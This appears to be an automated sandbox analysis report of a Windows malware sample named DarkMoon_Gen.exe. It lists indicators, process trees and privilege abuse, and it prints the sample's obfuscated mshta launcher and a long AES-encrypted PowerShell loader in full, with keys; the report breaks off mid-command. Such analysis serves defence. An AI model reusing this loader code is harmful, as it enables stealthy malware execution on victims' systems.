\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- RuntimeBroker.exe -
Runs ping.exe 1 TTPs 18 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 4860 PING.EXE 5720 PING.EXE 2408 PING.EXE 2568 PING.EXE 856 PING.EXE 4852 PING.EXE 1036 PING.EXE 1440 PING.EXE 3204 PING.EXE 916 PING.EXE 5500 PING.EXE 808 PING.EXE 4056 PING.EXE 2248 PING.EXE 2264 PING.EXE 1100 PING.EXE 1036 PING.EXE 2264 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
AyBYMBjlvU.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exepid process 836 AyBYMBjlvU.bat.exe 836 AyBYMBjlvU.bat.exe 836 AyBYMBjlvU.bat.exe 836 AyBYMBjlvU.bat.exe 224 dllhost.exe 224 dllhost.exe 5040 dllhost.exe 5040 dllhost.exe 5040 dllhost.exe 5040 dllhost.exe 224 dllhost.exe 224 dllhost.exe 836 AyBYMBjlvU.bat.exe 836 AyBYMBjlvU.bat.exe 4608 $sxr-powershell.exe 4608 $sxr-powershell.exe 4608 $sxr-powershell.exe 4608 $sxr-powershell.exe 4608 $sxr-powershell.exe 1504 dllhost.exe 1504 dllhost.exe 4504 dllhost.exe 4504 dllhost.exe 4504 dllhost.exe 4504 dllhost.exe 1504 dllhost.exe 1504 dllhost.exe 4608 $sxr-powershell.exe 4608 $sxr-powershell.exe 2292 $sxr-powershell.exe 2292 $sxr-powershell.exe 4608 $sxr-powershell.exe 3208 dllhost.exe 3208 dllhost.exe 3204 dllhost.exe 3204 dllhost.exe 3204 dllhost.exe 3204 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3204 dllhost.exe 3204 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 2292 $sxr-powershell.exe 2292 $sxr-powershell.exe 3204 dllhost.exe 3204 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 2292 $sxr-powershell.exe 2292 $sxr-powershell.exe 3204 dllhost.exe 3204 dllhost.exe 3208 dllhost.exe 3208 dllhost.exe 3204 dllhost.exe 3204 dllhost.exe 3208 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
AyBYMBjlvU.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 836 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 836 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 224 dllhost.exe Token: SeDebugPrivilege 5040 dllhost.exe Token: SeDebugPrivilege 4608 $sxr-powershell.exe Token: SeDebugPrivilege 4608 $sxr-powershell.exe Token: SeDebugPrivilege 1504 dllhost.exe Token: SeDebugPrivilege 4504 dllhost.exe Token: SeDebugPrivilege 2292 $sxr-powershell.exe Token: SeDebugPrivilege 4608 $sxr-powershell.exe Token: SeDebugPrivilege 3208 dllhost.exe Token: SeDebugPrivilege 3204 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1608 svchost.exe Token: SeIncreaseQuotaPrivilege 1608 svchost.exe Token: SeSecurityPrivilege 1608 svchost.exe Token: SeTakeOwnershipPrivilege 1608 svchost.exe Token: SeLoadDriverPrivilege 1608 svchost.exe Token: SeSystemtimePrivilege 1608 svchost.exe Token: SeBackupPrivilege 1608 svchost.exe Token: SeRestorePrivilege 1608 svchost.exe Token: SeShutdownPrivilege 1608 svchost.exe Token: SeSystemEnvironmentPrivilege 1608 svchost.exe Token: SeUndockPrivilege 1608 svchost.exe Token: SeManageVolumePrivilege 1608 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1608 svchost.exe Token: SeIncreaseQuotaPrivilege 1608 svchost.exe Token: SeSecurityPrivilege 1608 svchost.exe Token: SeTakeOwnershipPrivilege 1608 svchost.exe Token: SeLoadDriverPrivilege 1608 svchost.exe Token: SeSystemtimePrivilege 1608 svchost.exe Token: SeBackupPrivilege 1608 svchost.exe Token: SeRestorePrivilege 1608 svchost.exe Token: SeShutdownPrivilege 1608 svchost.exe Token: SeSystemEnvironmentPrivilege 1608 svchost.exe Token: SeUndockPrivilege 1608 svchost.exe Token: SeManageVolumePrivilege 1608 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1608 svchost.exe Token: SeIncreaseQuotaPrivilege 1608 svchost.exe Token: SeSecurityPrivilege 1608 svchost.exe Token: SeTakeOwnershipPrivilege 1608 svchost.exe Token: SeLoadDriverPrivilege 1608 svchost.exe Token: SeSystemtimePrivilege 1608 svchost.exe Token: SeBackupPrivilege 1608 svchost.exe Token: SeRestorePrivilege 1608 svchost.exe Token: SeShutdownPrivilege 1608 svchost.exe Token: SeSystemEnvironmentPrivilege 1608 svchost.exe Token: SeUndockPrivilege 1608 svchost.exe Token: SeManageVolumePrivilege 1608 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1608 svchost.exe Token: SeIncreaseQuotaPrivilege 1608 svchost.exe Token: SeSecurityPrivilege 1608 svchost.exe Token: SeTakeOwnershipPrivilege 1608 svchost.exe Token: SeLoadDriverPrivilege 1608 svchost.exe Token: SeSystemtimePrivilege 1608 svchost.exe Token: SeBackupPrivilege 1608 svchost.exe Token: SeRestorePrivilege 1608 svchost.exe Token: SeShutdownPrivilege 1608 svchost.exe Token: SeSystemEnvironmentPrivilege 1608 svchost.exe Token: SeUndockPrivilege 1608 svchost.exe Token: SeManageVolumePrivilege 1608 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1608 svchost.exe Token: SeIncreaseQuotaPrivilege 1608 svchost.exe Token: SeSecurityPrivilege 1608 svchost.exe Token: SeTakeOwnershipPrivilege 1608 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 4608 $sxr-powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3556 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exeDarkMoon_Gen.execmd.execmd.exeAyBYMBjlvU.bat.exe$sxr-mshta.exe$sxr-cmd.exedescription pid process target process PID 4500 wrote to memory of 1392 4500 cmd.exe DarkMoon_Gen.exe PID 4500 wrote to memory of 1392 4500 cmd.exe DarkMoon_Gen.exe PID 4500 wrote to memory of 4516 4500 cmd.exe cmd.exe PID 4500 wrote to memory of 4516 4500 cmd.exe cmd.exe PID 1392 wrote to memory of 2216 1392 DarkMoon_Gen.exe cmd.exe PID 1392 wrote to memory of 2216 1392 DarkMoon_Gen.exe cmd.exe PID 2216 wrote to memory of 3176 2216 cmd.exe chcp.com PID 2216 wrote to memory of 3176 2216 cmd.exe chcp.com PID 2216 wrote to memory of 1700 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 1700 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 2408 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 2408 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 1440 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 1440 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 808 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 808 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 2568 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 2568 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 856 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 856 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 4852 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 4852 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 4056 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 4056 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 1036 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 1036 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 3204 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 3204 2216 cmd.exe PING.EXE PID 4516 wrote to memory of 836 4516 cmd.exe AyBYMBjlvU.bat.exe PID 4516 wrote to memory of 836 4516 cmd.exe AyBYMBjlvU.bat.exe PID 2216 wrote to memory of 2356 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 2356 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 4860 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 4860 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 3616 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 3616 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 916 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 916 2216 cmd.exe PING.EXE PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 224 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 836 wrote to memory of 5040 836 AyBYMBjlvU.bat.exe dllhost.exe PID 2216 wrote to memory of 956 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 956 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 2248 2216 cmd.exe PING.EXE PID 2216 wrote to memory of 2248 2216 cmd.exe PING.EXE PID 4480 wrote to memory of 3524 4480 $sxr-mshta.exe $sxr-cmd.exe PID 4480 wrote to memory of 3524 4480 $sxr-mshta.exe $sxr-cmd.exe PID 3524 wrote to memory of 4608 3524 $sxr-cmd.exe $sxr-powershell.exe PID 3524 wrote to memory of 4608 3524 $sxr-cmd.exe $sxr-powershell.exe PID 2216 wrote to memory of 336 2216 cmd.exe timeout.exe PID 2216 wrote to memory of 336 2216 cmd.exe timeout.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4ece7727-0a4c-4a11-bd24-002bf7959736}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6767c65b-c7a3-4d29-8608-562cdc89d3dd}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1cac88b7-cdbc-4b17-99be-cf1acb6e3c96}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{aed9537c-f03d-4efd-85d3-c45ae9169c1b}2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e10713c2-bbde-4b87-9e39-1da6360d144f}2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d355d62f-d789-4c44-861c-05be92748e81}2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{35989aee-aa7a-4022-ad67-565e5bfc2865}2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{41745c89-5895-43c1-808a-b07b2c909550}2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ca4776d6-250b-42e9-ae9d-d9e8fc1cf978}2⤵
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{3013fe19-0fdb-41af-abea-30ba7c50d24a}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4608).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join 